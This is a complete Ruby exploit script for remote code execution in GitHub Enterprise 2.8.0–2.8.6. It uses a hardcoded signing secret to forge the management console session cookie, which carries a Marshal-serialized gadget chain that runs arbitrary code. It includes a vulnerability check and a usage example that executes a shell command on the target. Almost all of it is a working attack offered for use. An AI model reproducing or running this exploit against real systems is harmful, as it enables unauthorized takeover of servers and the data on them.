1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 |
#!/usr/bin/ruby require "openssl" require "cgi" require "net/http" require "uri" SECRET = "641dd6454584ddabfed6342cc66281fb" puts ' ___. .__ ' puts '____ ___________ \_ |__ ||__ __ ____' puts '_/ __ \\\\\//\__\ | __ \|| ||\_/ __ \ ' puts '\___/ ></ __ \| \_\ \|_||/\___/ ' puts ' \___>__/\_ \(____/___/____/____/\___>' puts ' \/\/ \/\/ \/ ' puts '' puts "github Enterprise RCE exploit" puts "Vulnerable: 2.8.0 - 2.8.6" puts "(C) 2017 iblue <iblue@exablue.de>" unless ARGV[0] && ARGV[1] puts "Usage: ./exploit.rb <hostname> <valid ruby code>" puts "" puts "Example: ./exploit.rb ghe.example.org \"%x(id > /tmp/pwned)\"" exit 1 end hostname = ARGV[0] code = ARGV[1] # First we get the cookie from the host to check if the instance is vulnerable. puts "[+] Checking if #{hostname} is vulnerable..." http = Net::HTTP.new(hostname, 8443) http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_NONE # We may deal with self-signed certificates rqst = Net::HTTP::Get.new("/") while res = http.request(rqst) case res when Net::HTTPRedirection then puts "=> Following redirect to #{res["location"]}..." rqst = Net::HTTP::Get.new(res["location"]) else break end end def not_vulnerable puts "=> Host is not vulnerable" exit 1 end unless res['Set-Cookie'] =~ /\A_gh_manage/ not_vulnerable end # Parse the cookie begin value = res['Set-Cookie'].split("=", 2)[1] data = CGI.unescape(value.split("--").first) hmac = value.split("--").last.split(";", 2).first expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, data) not_vulnerable if expected_hmac != hmac rescue not_vulnerable end puts "=> Host is vulnerable" # Now construct the cookie puts "[+] Assembling magic cookie..." # Stubs, since we don't want to execute the code locally. module Erubis;class Eruby;end;end module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end erubis = Erubis::Eruby.allocate erubis.instance_variable_set :@src, "#{code}; 1" proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate proxy.instance_variable_set :@instance, erubis proxy.instance_variable_set :@method, :result proxy.instance_variable_set :@var, "@result" session = {"session_id" => "", "exploit" => proxy} # Marshal session dump = [Marshal.dump(session)].pack("m") hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump) puts "[+] Sending cookie..." rqst = Net::HTTP::Get.new("/") rqst['Cookie'] = "_gh_manage=#{CGI.escape("#{dump}--#{hmac}")}" res = http.request(rqst) if res.code == "302" puts "=> Code executed." else puts "=> Something went wrong." end |